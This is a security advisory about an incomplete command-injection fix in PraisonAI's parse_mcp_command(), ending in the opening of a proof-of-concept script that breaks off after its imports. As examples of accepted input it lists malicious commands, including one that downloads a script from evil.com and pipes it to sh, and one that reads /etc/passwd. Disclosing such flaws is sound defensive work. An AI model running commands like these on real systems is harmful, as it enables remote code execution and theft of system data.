GHSA-9qhq-v63v-fv3j

Summary

The fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution.

Affected Package

• Ecosystem: PyPI
• Package: MervinPraison/PraisonAI
• Affected versions: < 47bff65413be
• Patched versions: >= 47bff65413be

Details

The vulnerability exists in src/praisonai/praisonai/cli/features/mcp.py in the MCPHandler.parse_mcp_command() method. This function parses MCP server command strings into executable commands, arguments, and environment variables. The pre-patch version performs no validation on the executable or arguments.

The fix commit 47bff654 was intended to address command injection, but the patched parse_mcp_command() still lacks three critical controls: there is no ALLOWED_COMMANDS allowlist of permitted executables (e.g., npx, uvx, node, python), there is no os.path.basename() validation to prevent path-based executable injection, and there is no argument inspection to block shell metacharacters or dangerous subcommands.

Malicious MCP server commands such as python -c 'import os; os.system("id")', bash -c 'cat /etc/passwd', and /bin/sh -c 'wget http://evil.com/shell.sh | sh' are all accepted by parse_mcp_command() and passed directly to subprocess execution without filtering.

PoC

#!/usr/bin/env python3
"""
CVE-2026-34935 - PraisonAI command injection via parse_mcp_command()

Tests against REAL PraisonAI mcp.py from git at commit 66bd9ee2 (parent of fix 47bff654).
The pre-patch parse_mcp_command() performs NO validation on the executable or
arguments, allowing arbitrary command execution via MCP server commands.

Repo: https://github.com/MervinPraison/PraisonAI
Patch commit: 47bff65413beaa3c21bf633c1fae4e684348368c
"""

import sys
import os
import importlib.util

# Load the REAL...